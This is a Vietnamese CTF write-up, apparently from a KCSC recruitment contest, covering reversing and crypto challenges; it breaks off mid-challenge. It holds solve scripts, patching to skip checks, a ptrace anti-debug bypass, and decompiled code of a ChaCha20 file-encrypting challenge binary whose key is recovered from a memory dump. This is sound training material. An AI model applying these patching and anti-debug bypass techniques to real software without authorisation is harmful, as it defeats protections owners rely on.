Đây là 1 bài dotnet đơn giản, không có gì phức tạp, chủ yếu là kiểm tra khả năng xài dnspy và cryptography cơ bản
Mở dnspy:

image

Bài flagchecker gọi khá nhiều hàm xor
Ta có thể dùng GPT gen chương trình decode :((

def xor(a, b):
    num = max(len(a), len(b))
    result = []
    for i in range(num):
        if len(a) >= len(b):
            result.append(chr(ord(a[i]) ^ ord(b[i % len(b)])))
        else:
            result.append(chr(ord(a[i % len(a)]) ^ ord(b[i])))
    return result

def reverse_xor(source, url):
    source_chars = [chr(e) for e in source]
    array6 = xor(source_chars, list(url))
    num = len(array6)
    array2 = array6[:num // 4]
    array3 = array6[num // 4:num // 2]
    array4 = array6[num // 2:3 * num // 4]
    array5 = array6[3 * num // 4:]
    array5 = xor(array5, array2)
    array4 = xor(array4, array5)
    array3 = xor(array3, array4)
    array2 = xor(array2, array3)

    decoded_array = array2 + array3 + array4 + array5
    return ''.join(decoded_array)

def main():
    source = [
        85, 122, 105, 71, 17, 94, 71, 24, 114, 78, 107, 11, 108, 106, 107, 113, 121, 51, 91, 117, 86, 110, 100, 
        18, 124, 104, 71, 66, 123, 3, 111, 99, 74, 107, 69, 77, 111, 2, 120, 125, 83, 99, 62, 99, 109, 76, 119, 
        111, 59, 32, 1, 93, 69, 117, 84, 106, 73, 85, 112, 66, 114, 92, 61, 80, 80, 104, 111, 72, 98, 28, 88, 
        94, 27, 120, 15, 76, 15, 67, 86, 117, 81, 108, 18, 37, 34, 101, 104, 109, 23, 30, 62, 78, 88, 10, 2, 63, 
        43, 72, 102, 38, 76, 23, 34, 62, 21, 97, 1, 97
    ]
    url = "https://www.youtube.com/watch?v=L8XbI9aJOXk"
    decoded_text = reverse_xor(source, url)

    print(decoded_text)

if __name__ == "__main__":
    main()
#VXpCT1ZGRXpkRVpaV0U0MVdEQldkVmt6U2pWalNGSndZakkxWmxZeWJEQmhSamxGWWpOU1QxSldVbVpWU0VwMldqTkthR0pVYjNwbVVUMDk=

Output là chuỗi đã bị mã hóa base64 nhiều lần

image

Flag : KCSC{Easy_Encryption_With_DotNET_Program:3}

EzRev

image

Pseudocode IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  unsigned int *v4; // r8
  int i; // [rsp+20h] [rbp-28h]
  __int64 v7; // [rsp+28h] [rbp-20h]

  sub_140001200("Enter Something: ", argv, envp);
  sub_1400012D0("%s", byte_1400047A8);
  if ( (unsigned int)sub_140001100(byte_1400047A8) == -1982483102 )
  {
    v7 = -1i64;
    do
      ++v7;
    while ( byte_1400047A8[v7] );
    if ( v7 == 40 )
    {
      sub_140001000(byte_1400047A8);
      dword_1400047A0 = 1;
      for ( i = 0; i < 40; ++i )
      {
        v4 = dword_140004700;
        v3 = dword_140004700[i];
        if ( dword_140004080[i] != (_DWORD)v3 )
          dword_1400047A0 = 0;
      }
    }
  }
  if ( dword_1400047A0 )
    sub_140001200("Excellent!! Here is your flag: KCSC{%s}", byte_1400047A8);
  else
    sub_140001200("You're chicken!!!", v3, v4);
  return 0;
}

Phân tích sơ qua thì đây có thể là 1 bài flagchecker với một số hàm mã hóa cơ bản
Lần 1:

image

Chương trình nhận vào input và kiểm tra 1 điều kiện gì đấy

image

Qua kiểm tra thì đây có thể là một loại hash nào đấy
Vì không thể dịch ngược được và không ảnh hưởng quá nhiều đến chương trình nên mình sẽ patch luôn tại đây để bỏ qua bước kiểm tra điều kiện này

image

Lần 2:

image

Đếm số phần tử có trong byte_7FF64BE347A8 (là input ta nhập vào) và kiểm tra xem có đủ 40 ký tự không
gọi hàm sub_7FF64BE31000 để mã hóa

image

Hàm sub_7FF64BE31000 lấy từng bytes của input rồi xor với các phép toán dịch bit ROR, ROL nhiều lần rồi lưu các giá trị đó vào dword_7FF64BE34700
Cuối cùng là kiểm tra từng phần tử (dword) trong mảng dword_7FF64BE34700dword_7FF64BE34080 với nhau:

image

Tổng kết:
- Kiểm tra hash (bỏ qua)
- Mã hóa qua hàm sub_7FF64BE31000
- Kiểm tra
Do mã hóa từng bytes một nên mình sẽ bruteforce luôn để tiết kiệm thời gian dịch ngược
Script solve:

def _rol(val, bits, bit_size=32):
    return (val << bits % bit_size) & (2 ** bit_size - 1) | ((val & (2 ** bit_size - 1)) >> (bit_size - (bits % bit_size)))
def _ror(val, bits, bit_size=32):
    return ((val & (2 ** bit_size - 1)) >> bits % bit_size) | (val << (bit_size - (bits % bit_size)) & (2 ** bit_size - 1))

def sub_7FF765091000(a1):
    for i in range(len(a1)):
        v2 = a1[i] 
        v5 = 4
        v6 = 6
        for j in range(5):
            v2 ^= _rol(v2, v5) ^ _ror(v2, v6)
            v5 *= 2
            v6 *= 2


    return (v2)
enc=[
    0x0F30C0330, 0x340DDE9D, 0x750D9AC9, 0x391FBC2A, 0x9F16AF5B, 0x0E6180661,
    0x6C1AAC6B, 0x340DDE9D, 0x0B60D5635, 0x9F16AF5B, 0x0A3195364, 0x681BBD3A,
    0x0F30C0330, 0x0A3195364, 0x0AB1B71C6, 0x0F30C0330, 0x0F21D5274, 0x9F16AF5B,
    0x0E6180661, 0x300CCFCC, 0x0F21D5274, 0x9F16AF5B, 0x0AB1B71C6, 0x0A3195364,
    0x750D9AC9, 0x0A3195364, 0x9F16AF5B, 0x0F21D5274, 0x0F30C0330, 0x0A3195364,
    0x0F21D5274, 0x351C8FD9, 0x710C8B98, 0x0F70D1261, 0x2D1AE83F, 0x0F30C0330,
    0x0EE1A24C3, 0x0F70D1261, 0x6108CEDC, 0x6108CEDC
]
flag=''
for e in enc:
    for i in range(33,127):
        a=sub_7FF765091000((flag+chr(i)).encode())
        if a==e:
            flag=flag+chr(i)
            print(flag)
            break

#345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!

Mình có tham khảo script chuyển ROR,ROL sang python tại: https://github.com/tandasat/scripts_for_RE/blob/master/rotate.py
Flag
: KCSC{345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!}

Thông thường mình sẽ không quá để ý việc dịch ngược hay chuyển code sang python cho những bài flagchecker như này mà sẽ hay xài gdb để bruteforce nhanh flag.
Tuy nhiên lần này gdb không decompile được nên mình đã không thể xài lại trick cũ, đây cũng là bài học cho mình để thay đổi tư duy làm bài và nghiên cứu nghiêm túc hơn trong tương lai!
có thể tham khảo 1 số bài mình đã giải bằng gdb tại: https://hackmd.io/@robertowen/rkXtc16N1l

Reverse me

image

Pseudocode (khá dễ nhìn):

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+18h] [rbp-58h]
  int j; // [rsp+1Ch] [rbp-54h]
  char s[56]; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  memset(s, 0, 0x31uLL);
  printf("FLAG: ");
  __isoc99_scanf("%48s", s);
  for ( i = 0; i <= 47; i += 8 )
    sub_12D4(&s[i], &s[i + 4]);
  for ( j = 0; ; ++j )
  {
    if ( j > 47 )
    {
      puts("Correct!");
      return 0LL;
    }
    if ( s[j] != byte_4040[j] )
      break;
  }
  puts("Incorrect!");
  return 0LL;
}

Vì mình không cài IDA lên WSL nên mình sẽ debug remote như này

image

image

Do chương trình cũng đơn giản nên ta chỉ phân tích nhanh

image

- Chương trình nhận vào 48 bytes từ input và mã hóa thông qua hàm sub_5555555552D4, lưu trữ luôn vào s
- Kiểm tra với byte_555555558040, nếu đúng thì trả về Correct, sai thì Incorrect
Hàm mã hóa sub_5555555552D4:

image

Ta có thể nhận ra đây là mã hóa XTEA khá quen thuộc
Mình có tham khảo chương trình decrypt XTEA bằng python tại: https://github.com/niklasb/ctf-tools/blob/master/crypto/xtea.py
Script
:

from Crypto.Util.number import*
dword_5555555580C0=[0x126575B, 0x51903231, 0x8AAB8F5E, 0x0CA51930F]
byte_555555558040=[473413356, 2967692918, 1094173039, 1162692205, 2047540795, 593189689, 3392237974, 2109325366, 3133376540, 144254372, 4264188329, 2498107430]
rounds = 32
mask = 0xffffffff
delta = 0x9E3779B9
def decrypt(v, key):
    v=list(v)
    sum=(delta*rounds)&mask
    for _ in range(rounds):
        v[1] -= (((v[0] << 4) ^ (v[0] >> 5)) + v[0]) ^ (sum + key[(sum>>11) & 3])
        v[1] &= mask
        sum = (sum-delta)&mask
        v[0] -= (((v[1] << 4) ^ (v[1] >> 5)) + v[1]) ^ (sum + key[sum & 3])
        v[0] &= mask
    return v
if __name__ == "__main__":
    n=b''
    for j in range(0,len(byte_555555558040),2):
        a=(decrypt(byte_555555558040[j:j+2], dword_5555555580C0))
        for i in range(2):
            n+=(long_to_bytes(a[i])[::-1])
    print(n)
#b'\xec\xb0LNQ\xa7r\xdd}\x1d\x0c\x9c\x0f\x9e\x93\x8ez\xb6\x1d\xedC\xea{H\xa93\x9f\x1a\rj\xa9\xc9m\xb5\xbc\xf1%\xc6\xb6.\x80,II\x1e\xb3\x103'

Đến đây mình mới phát hiện ra điều gì đấy không đúng, ngồi fix lại chương trình decrypt khá lâu vì nghĩ chắc là sai ở đâu đấy, cuối cùng mình đã phải xem xét lại kỹ file binary

image

Trong functions mình thấy chương trình có gọi ptrace - là syscall chống debug trong Linux
Do đây không phải là file Windows excutable nên sẽ không có các WinAPI như IsDebuggerPresent() hay NtQueryInformationProcess() nên ta cần lưu ý khi làm bài
Ta trỏ đến địa chỉ gọi ptrace:

image

Nếu ta debug thì chương trình sẽ chuyển sang luồng fake, dẫn đến key decrypt XTEA bị sai
Xem pseudo code để có cái nhìn trực quan hơn:

image

Ta có thể nhận thấy khác nhau ở off_555555558080off_555555558090 giữa luồng fake và luồng real dẫn đến chương trình trả về 2 key khác nhau
Cần sửa ZF hoặc patch để chương trình đưa vào luồng đúng
Lúc này ta có thể lấy dword_5555555580C0 chuẩn ra và bỏ vào script solve:

from Crypto.Util.number import*
#dword_5555555580C0=[0x126575B, 0x51903231, 0x8AAB8F5E, 0x0CA51930F]
dword_5555555580C0=[
    0x3AB27278,
    0x0A840805B,
    0x0E864925B,
    0x0B7B1EEDE]
byte_555555558040=[473413356, 2967692918, 1094173039, 1162692205, 2047540795, 593189689, 3392237974, 2109325366, 3133376540, 144254372, 4264188329, 2498107430] #dword
rounds = 32
mask = 0xffffffff
delta = 0x9E3779B9
def decrypt(v, key):
    v=list(v)
    sum=(delta*rounds)&mask
    for _ in range(rounds):
        v[1] -= (((v[0] << 4) ^ (v[0] >> 5)) + v[0]) ^ (sum + key[(sum>>11) & 3])
        v[1] &= mask
        sum = (sum-delta)&mask
        v[0] -= (((v[1] << 4) ^ (v[1] >> 5)) + v[1]) ^ (sum + key[sum & 3])
        v[0] &= mask
    return v
if __name__ == "__main__":
    n=b''
    for j in range(0,len(byte_555555558040),2):
        a=(decrypt(byte_555555558040[j:j+2], dword_5555555580C0))
        for i in range(2):
            n+=(long_to_bytes(a[i])[::-1])
    print(n)
#b'KCSC{XTEA_encryption_and_debugger_detection_:>>}'

Flag: KCSC{XTEA_encryption_and_debugger_detection_:>>}

ChaChaCha

image

Bài này mình tốn cả chiều để viết script decrypt tuy nhiên cuối cùng mình lại giải được mà không cần decrypt :(( làm mình khá đuối sức và buồn ngủ

image

Để cho ta 3 file, 1 file dump, 1 file txt và 1 file exe
Mở important_note.txt bằng hex editor và nhìn kích thước file thì ta có thể đoán rằng đây là 1 file đã bị mã hóa:

image

Mở file ChaChaCha.exe bằng IDA ta có pseudo code như sau:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  HMODULE LibraryA; // eax
  BOOLEAN (__stdcall *SystemFunction036)(PVOID, ULONG); // eax
  HMODULE v5; // eax
  BOOLEAN (__stdcall *ProcAddress)(PVOID, ULONG); // eax
  HANDLE FileW; // eax
  void *v8; // ebx
  signed int FileSize; // edi
  _BYTE *v11; // ebx
  int v12; // ecx
  _BYTE *v13; // ecx
  signed int v14; // esi
  signed int v15; // ebx
  _BYTE *v16; // eax
  char v17; // al
  char v18; // [esp+0h] [ebp-D8h]
  HANDLE hFile; // [esp+Ch] [ebp-CCh]
  signed int v20; // [esp+10h] [ebp-C8h]
  char *v21; // [esp+14h] [ebp-C4h]
  _BYTE *v22; // [esp+18h] [ebp-C0h]
  char *v23; // [esp+1Ch] [ebp-BCh]
  DWORD NumberOfBytesWritten; // [esp+20h] [ebp-B8h] BYREF
  DWORD NumberOfBytesRead; // [esp+24h] [ebp-B4h] BYREF
  char v26[48]; // [esp+28h] [ebp-B0h] BYREF
  int v27; // [esp+58h] [ebp-80h]
  char v28[64]; // [esp+68h] [ebp-70h] BYREF
  char v29[32]; // [esp+A8h] [ebp-30h] BYREF
  char v30[12]; // [esp+C8h] [ebp-10h] BYREF

  LibraryA = LoadLibraryA("advapi32.dll");
  SystemFunction036 = (BOOLEAN (__stdcall *)(PVOID, ULONG))GetProcAddress(LibraryA, "SystemFunction036");
  SystemFunction036(v29, 32);
  v5 = LoadLibraryA("advapi32.dll");
  ProcAddress = (BOOLEAN (__stdcall *)(PVOID, ULONG))GetProcAddress(v5, "SystemFunction036");
  ProcAddress(v30, 12);
  FileW = CreateFileW(FileName, 0xC0000000, 0, 0, 3u, 0x80u, 0);
  v8 = FileW;
  hFile = FileW;
  if ( FileW == (HANDLE)-1 )
  {
    sub_401590("Cannot Open File", v18);
    CloseHandle((HANDLE)0xFFFFFFFF);
    return 1;
  }
  else
  {
    FileSize = GetFileSize(FileW, 0);
    v20 = FileSize;
    v21 = (char *)malloc(FileSize);
    if ( ReadFile(v8, v21, FileSize, &NumberOfBytesRead, 0) )
    {
      v11 = malloc(FileSize);
      v22 = v11;
      sub_4013D0(v12, v30);
      v14 = 0;
      if ( FileSize > 0 )
      {
        v23 = v28;
        do
        {
          sub_401000(v26, v28, v13);
          ++v27;
          v15 = v14 + 64;
          if ( !__OFSUB__(v14, v14 + 64) )
          {
            v16 = v22;
            do
            {
              if ( v14 >= FileSize )
                break;
              v13 = &v16[v14];
              v17 = v23[v14] ^ v16[v14 + v21 - v22];
              ++v14;
              FileSize = v20;
              *v13 = v17;
              v16 = v22;
            }
            while ( v14 < v15 );
          }
          v23 -= 64;
          v14 = v15;
        }
        while ( v15 < FileSize );
        v11 = v22;
      }
      SetFilePointer(hFile, 0, 0, 0);
      if ( WriteFile(hFile, v11, FileSize, &NumberOfBytesWritten, 0) )
      {
        CloseHandle(hFile);
        sub_401590("Some important file has been encrypted!!!\n", (char)FileName);
        return 0;
      }
      else
      {
        sub_401590("Cannot Write File", v18);
        CloseHandle(hFile);
        return 1;
      }
    }
    else
    {
      sub_401590("Cannot Read File", v18);
      CloseHandle(v8);
      return 1;
    }
  }
}

Phân tích:
Đầu tiên chương trình tạo 1 Buffer ngẫu nhiên 32 bytes và 1 Buffer 12 bytes:

image

Tiếp đến là các bước mở file, đọc file gì đấy tuy nhiên mình sẽ không đi phân tích phần này:

image

Tiếp đến gọi hàm sub_8913D0:

image

Bên trong có khá nhiều phép toán bitwise, có thể là thuật toán tạo khóa nào đấy:

image

Ta để ý:

qmemcpy(a2, "expand 32-byte k", 16);

Đây có thể là gọi sig của mã hóa salsa20 hoặc chacha20, tuy nhiên đề bài là ChaChaCha nên khả năng cao là chacha20

Ta có thể hiểu là tạo ma trận 4x4, hàng 1 là chuỗi “expand 32-byte k”, 2 hàng tiếp theo là 32 bytes key, 4 bytes đầu tiên của hàng cuối là counter = 1129530187 = 'KCSC' và 12 bytes cuối là nonce

image

Tìm hiểu thêm tại https://xilinx.github.io/Vitis_Libraries/security/2019.2/guide_L1/internals/chacha20.html
đặt
breakpoint như sau và mở hexview, ta có thể thấy key và nonce đã được lưu trữ:

image

Tiếp theo:

image

Gọi hàm sub_891000 là mã hóa file bằng thuật toán chacha20
Sau đó là xor gì đấy mình không hiểu lắm, có lẽ đây là nguyên nhân khiến mình viết chương trình decrypt cả chiều không được (sau khi tham khảo các WU khác thì thấy mọi người sử dụng CyberChef để decrypt)
Tạm dừng ở đây, ta sẽ phân tích file dump:
Search strings "expand 32-byte k" trong IDA:

image

Click vào để tìm địa chỉ lưu nó:

image

Do file dump này trích được memory lúc file bị mã hóa thành important_note.txt nên đây sẽ là key và nonce để decrypt file
dump lấy bytes:

[0x65, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79, 0x74, 0x65, 0x20, 0x6B, 0xD9, 0xFA, 0xBB, 0x42, 0x0C, 0x2D, 0xB8, 0x08, 0xD1, 0xF8, 0xBF, 0xA5, 0x89, 0x0A, 0xC3, 0xB3, 0x84, 0x9F, 0x69, 0xE2, 0xF3, 0x30, 0xD4, 0xA9, 0x0D, 0xB1, 0x19, 0xBD, 0x4E, 0xA0, 0xB8, 0x30, 0x4B, 0x43, 0x53, 0x43, 0xDB, 0x7B, 0xE6, 0x93, 0xEE, 0x9B, 0xC1, 0xA4, 0x70, 0x73, 0xCA, 0x4B]

Do chacha20 có thể dùng chương trình mã hóa để giải mã(mã dòng), nên mình sẽ patch luôn bộ nhớ tại key hiện tại thành key lấy từ file dump để giải mã file important_note.txt
đặt breakpoint tại:

image

Ta chạy script sau để thay đổi thay đổi bộ nhớ (không thấy ai xài cách này nên tâm đắc vl 😈)

import idaapi
import idc
start_addr = 0x00AFFAA0#địa chỉ sẽ khác nhau mỗi lần debug, cần thay đổi khi thử chạy
end_addr = start_addr+63
new_data = [
    0x65, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79,
    0x74, 0x65, 0x20, 0x6B, 0xD9, 0xFA, 0xBB, 0x42, 0x0C, 0x2D, 0xB8, 0x08,
    0xD1, 0xF8, 0xBF, 0xA5, 0x89, 0x0A, 0xC3, 0xB3, 0x84, 0x9F, 0x69, 0xE2,
    0xF3, 0x30, 0xD4, 0xA9, 0x0D, 0xB1, 0x19, 0xBD, 0x4E, 0xA0, 0xB8, 0x30,
    0x4B, 0x43, 0x53, 0x43, 0xDB, 0x7B, 0xE6, 0x93, 0xEE, 0x9B, 0xC1, 0xA4,
    0x70, 0x73, 0xCA, 0x4B
]

for i in range(len(new_data)):
    addr = start_addr + i
    idc.patch_byte(addr, new_data[i])
print(f"Thay đổi bộ nhớ thành công từ {hex(start_addr)} đến {hex(end_addr)}")

Sau khi thay đổi bộ nhớ, tiếp tục chạy hết chương trình để mã hóa lại file
Mở lại file important_note.txt lúc nãy ra, ta thấy file đã được decrypt thành công

image

Nhìn header ta có thể thấy đây là một file Windows excutable
Chạy file exe, ta được:

image

image

WaiterFall

image

Mở IDA:

image

Nhìn có vẻ rất khủng bố :O
Tuy nhiên đây chỉ là 1 dạng bài sử dụng Z3 rất kinh điển
Solve Script: (byClaude)

from z3 import *

def solve_challenge():
    s = Solver()
    chars = [BitVec(f'char_{i}', 8) for i in range(62)]
    v3 = 0

    v5 = 0x1000008020020
    v7 = 0x60010020000100
    v8 = 0x100020080408000
    v9 = 0x844000044000
    for i, char in enumerate(chars):
        s.add(char >= 32)  # Space
        s.add(char <= 126)  # ~        
        conditions = []
        conditions.append(If(char == ord('C'), If((i - 1) & 0xFFFFFFFD == 0, 1, 0), 0))
        conditions.append(If(char == ord('K'), If(i == 0, 1, 0), 0))
        conditions.append(If(char == ord('S'), If(i == 2, 1, 0), 0))
        conditions.append(If(char == ord('c'), If(i == 37, 1, 0), 0))
        conditions.append(If(char == ord('d'), If(i == 20, 1, 0), 0))
        conditions.append(If(char == ord('g'), If(Or(i == 11, i == 60), 1, 0), 0))
        conditions.append(If(char == ord('u'), If(i == 24, 1, 0), 0))
        conditions.append(If(char == ord('{'), If(i == 4, 1, 0), 0))
        conditions.append(If(char == ord('}'), If(i == 61, 1, 0), 0))

        if i <= 0x31:  # For '_'
            if (0x2101004011000 >> i) & 1:
                conditions.append(If(char == ord('_'), 1, 0))

        if i <= 0x34:  # For 'a'
            if (0x10000210000040 >> i) & 1:
                conditions.append(If(char == ord('a'), 1, 0))

        if i <= 0x37:  # For 'e'
            if (0x80000040200000 >> i) & 1:
                conditions.append(If(char == ord('e'), 1, 0))

        if i <= 0x32:  # For 'f'
            if (0x4200100802000 >> i) & 1:
                conditions.append(If(char == ord('f'), 1, 0))

        if i <= 0x3A:  # For 'i'
            if (0x400000000000280 >> i) & 1:
                conditions.append(If(char == ord('i'), 1, 0))

        if i <= 0x33:  # For 'l'
            if (0x8480C02000000 >> i) & 1:
                conditions.append(If(char == ord('l'), 1, 0))

        if i <= 0x3B:  # For 'n'
            if (0xA00008000080400 >> i) & 1:
                conditions.append(If(char == ord('n'), 1, 0))

        if i <= 0x2F:  # For 'o'
            if (v9 >> i) & 1:
                conditions.append(If(char == ord('o'), 1, 0))

        if i <= 0x38:  # For 'r'
            if (v8 >> i) & 1:
                conditions.append(If(char == ord('r'), 1, 0))

        if i <= 0x36:  # For 't'
            if (v7 >> i) & 1:
                conditions.append(If(char == ord('t'), 1, 0))

        if i <= 0x30:  # For 'w'
            if (v5 >> i) & 1:
                conditions.append(If(char == ord('w'), 1, 0))        
        v3 = v3 + Sum(conditions)
    s.add(v3 == 62)

    if s.check() == sat:
        m = s.model()
        result = ''
        for i in range(62):
            c = m[chars[i]].as_long()
            result += chr(c)
        return result
    return None

result = solve_challenge()
if result:
    print("Flag:", result)
else:
    print("No solution found")
#Flag: KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}

Flag: KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}

V. Crypto

Crypto 1 (easy)

  • Source:

      from Crypto.Util.number import *
      from math import gcd
    
      flag = b"KCSC{fake_flag}"
    
      p = getPrime(512)
      q = getPrime(512)
      n = p*q
      e = 0x10001
      c = pow(bytes_to_long(flag), e, n)
    
      print(f"n = {n}")
      print(f"c = {c}")
      print(13 * q ** 2 + 5*p * q + 2 * p ** 5)
      print(7 * q ** 3 + p ** 3)
    
      """
      n = 68288521803749096598885637638053621717196600162883393314204537792265324550130476000830582459892601191221713398147068471895218340440441520348186049243098557276069294337290348570168822004443403024217772173472817801983123070596861372926544266786307347422625999741472764054251261966242723803223755250857431959613
      c = 51484360656675894405169578577777421818221080188874188339332704212766014455602299232733441854614491353614936672698767100621643701474052897096397257567627546370308824123953740553988694850896612092526733722171750215446879926157508653359056454370778767748861899945472045315573513667461778478951641271690253340703
      99070322718633589075437462797565157261778565342202176866775343970398558639214129862647491552411934954337080928975984888590350647667063750589996693551004764949048370796506334502440334616612079528441181921243264137829513725003752633040825654275249100544290948338516838946174770287568358642193272862193796894044937197882972942736350187023160283258646203934697126833099845086570117310993425665455046278368788256843647321433937611726466080931200057154600456738627871172358125025243308598393199170155505096434440339433895197600955266878886512068835988415711337072167542113641557473147599428014808952558696371214362762804029219711275834667722478355607836912560341298862576500518929722837267759516608623300378294362866958920710706131156072317563285732965572961520111862487408104
      4053829493753080394597319030520465552249075460276768487813206903952134102796024072650537404512981555893331018255239607908419904554570951529767887735220350920134963507895001907309725345634404748146887358629605419756823088475689769294303699918630919892363333011358649952996211367887394670736389996674537151867058156643368735877078538193576703224594833465330136899282032495128158051461158831558808541670885217172490157676355847572589184884710346372276161554121356404
       """
    
  • Flag của ta được mã hóa RSA nên nếu ta tìm được giá trị pq của modulus n thì ta sẽ giải mã được Ciphertext rất dễ dàng.

  • Nhận thấy rằng giá trị của pq được biểu diễn qua một hệ phương trình như sau:

$$\left\{\begin{matrix} 13 \times q ^ 2 + 5\times p \times q + 2 \times p ^ 5 = k_1\\ 7 \times q ^ 3 + p ^ 3 = k_2 \end{matrix}\right.$$

  • Mình thấy hệ phương trình này giải tay khá là cực nhưng nếu dùng các thư viện toán học thì sẽ rất nhanh nên để tiết kiệm thời gian, mình sẽ dùng thư viện Sympy để giải. Có được p,q thì bài toán kết thúc.

  • Script:

      from sympy import var, Eq, solve
      e = 0x10001
      n = 68288521803749096598885637638053621717196600162883393314204537792265324550130476000830582459892601191221713398147068471895218340440441520348186049243098557276069294337290348570168822004443403024217772173472817801983123070596861372926544266786307347422625999741472764054251261966242723803223755250857431959613
      c = 51484360656675894405169578577777421818221080188874188339332704212766014455602299232733441854614491353614936672698767100621643701474052897096397257567627546370308824123953740553988694850896612092526733722171750215446879926157508653359056454370778767748861899945472045315573513667461778478951641271690253340703
      k1 = 99070322718633589075437462797565157261778565342202176866775343970398558639214129862647491552411934954337080928975984888590350647667063750589996693551004764949048370796506334502440334616612079528441181921243264137829513725003752633040825654275249100544290948338516838946174770287568358642193272862193796894044937197882972942736350187023160283258646203934697126833099845086570117310993425665455046278368788256843647321433937611726466080931200057154600456738627871172358125025243308598393199170155505096434440339433895197600955266878886512068835988415711337072167542113641557473147599428014808952558696371214362762804029219711275834667722478355607836912560341298862576500518929722837267759516608623300378294362866958920710706131156072317563285732965572961520111862487408104
      k2 = 4053829493753080394597319030520465552249075460276768487813206903952134102796024072650537404512981555893331018255239607908419904554570951529767887735220350920134963507895001907309725345634404748146887358629605419756823088475689769294303699918630919892363333011358649952996211367887394670736389996674537151867058156643368735877078538193576703224594833465330136899282032495128158051461158831558808541670885217172490157676355847572589184884710346372276161554121356404
    
      p, q = var("p, q")
      eq1 = Eq(13 * q ** 2 + 5*p * q + 2 * p ** 5, k1)
      eq2 = Eq(7 * q ** 3 + p ** 3, k2)
    
      solutions = solve([eq1, eq2])[0]
    
      p = int(solutions[p])
      q = int(solutions[q])
      d = pow(e, -1, n-p-q+1)
    
      print(pow(c, d, n).to_bytes(50))
    

Flag: KCSC{solv1ng_equ4ti0ns_with_r3sult4nts_is_f4n}

VlCG (easy)

  • Source:

      from Crypto.Util.number import *
      from hashlib import *
      from Crypto.Cipher import AES
      from Crypto.Util.Padding import *
      from secret import flag
    
      class LCG():
    
          def __init__(self, seed, a, c, m):
              self.seed = seed
              self.a = a
              self.c = c
              self.m = m
              self.state = seed
    
          def next(self):
    
              self.seed = (self.a * self.seed ** 65537 + self.c) % m
              return self.seed >> 20
    
      a = getPrime(50)
      c = getPrime(50)
      m = getPrime(100)
      seed = getRandomInteger(50)
    
      lcg = LCG(seed, a, c, m)
    
      key = sha256(long_to_bytes(seed)).digest()
      enc = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, 16))
    
      hint = []
    
      print(f"{enc = }")
      print(f"{a = }")
      print(f"{c = }")
      print(f"{m = }")
      print(f"{lcg.next() = }")
    
      """
      enc = b'\x17j\x1b\xb1(eWHD\x98\t\xfc\x04\x94(\x18\xeaxT\xa6B*\xa0E\xe92\xe36!3\xbc\x96[\xa5\x82eG\xc2\x00\x7fM\xf0\xcb@tN\xf8\x01'      
      a = 758872855643059
      c = 814446603569537
      m = 984792769709730047935594905989
      lcg.next() = 241670272469283782290680
      """
    
  • Phân tích source, ta thấy rằng key của AES được tính thông qua key = sha256(long_to_bytes(seed)).digest(), tức nhiệm vụ của ta là phải tìm được seed.

Công thức của seed như sau:

$$\text{S} \equiv \text{a} \times \text{seed}^{65537} + \text{c} \pmod {\text{m}}$$

$$\Leftrightarrow \text{seed}^{65537} \equiv (\text{S} - \text{c}) \times \text{a}^{-1} \pmod {\text{m}}$$

  • Giờ ta phải triệt tiêu đi số mũ 65537 của seed thì sẽ có được seed. Tương tự như RSA, ta sẽ đi tính

    \(\text{d} = 65537^{-1} \pmod{\phi(m)}\) với \(\phi(m) = m-1\) vì m là số nguyên tố.

  • Sau đó lấy \(((\text{S} - \text{c}) \times \text{a}^{-1})^{d} \mod m\) là có được seed.

Tuy nhiên để tăng độ khó thì Challenge tiếp tục bỏ đi 20 bit cuối (khoảng 1 triệu) của S. Vì vậy ta cần thêm một bước là brute force 20 bit cuối của S.

$$\text{S} = (\text{lcg.next()} << 20) + i \hspace{3mm} \{1 < i < 2^{20}\}$$

  • Script:

      from Crypto.Util.number import *
      from hashlib import *
      from Crypto.Cipher import AES
      from Crypto.Util.Padding import *
      from tqdm import trange
    
      enc = b'\x17j\x1b\xb1(eWHD\x98\t\xfc\x04\x94(\x18\xeaxT\xa6B*\xa0E\xe92\xe36!3\xbc\x96[\xa5\x82eG\xc2\x00\x7fM\xf0\xcb@tN\xf8\x01'      
      a = 758872855643059
      c = 814446603569537
      m = 984792769709730047935594905989
      next_seed = 241670272469283782290680
    
      e = pow(65537, -1, m-1)
      for i in trange(1, 2**20):
    
          S = (next_seed << 20) + i # nhớ thêm dấu ngoặc, thiếu là ăn đủ
          seed = (pow((S - c) * pow(a, -1, m), e, m)) % m
          key = sha256(long_to_bytes(seed)).digest()
    
          flag = AES.new(key, AES.MODE_ECB).decrypt(enc)
          if b"KCSC{" in flag:
              print(flag)
              break
    

Seed = 504545958124800

Flag: KCSC{linear_congruential_generator(LCG)}

Zoltraak (easy)

  • Source:

      from Crypto.Util.number import *
    
      FLAG = b'KCSC{???????????????????????????????????????}'
      m = bytes_to_long(FLAG)
      p = getPrime(512)
      q = getPrime(512)
      n = p * p * q
      e = 0x10001
      d = inverse(e, p * (p-1) * (q-1))
      assert m < n
      c = pow(m, e, n)
      hint = pow(d, e, n)
      print(f'c = {c}')
      print(f'hint = {hint}')
      print(f'n = {n}')
    
      """
      c = 216895836421936226664808806038131495725544658675106485670550453429609078893908601117272164909327632048129546753076380379045793859323244310633521321055388974634549104918284811813205866773238823220320222756056839297144222443834324484452750837978501262424186119512949111339142374067658940576220209924539508684423305539352188419127746551691195133913843198343764965016833190033138825402951884225991852311634388045499747652928427089105006744062452013466170009819761589
      hint = 119347490709709918515362500613767389632792382149593771026067086829182731765211255478693659388705133600879844115195595226603111752985962235917359759090718061734175658693105117154525703606445141788266279862259884063386378441258483507592794727728695131221071650602175884547070684687593047276747070248401583807925835550653444240529379502255688396376354105756898403267623695663194584556369065618489842778593026855625193720218739585629291162493093893452796713107895772
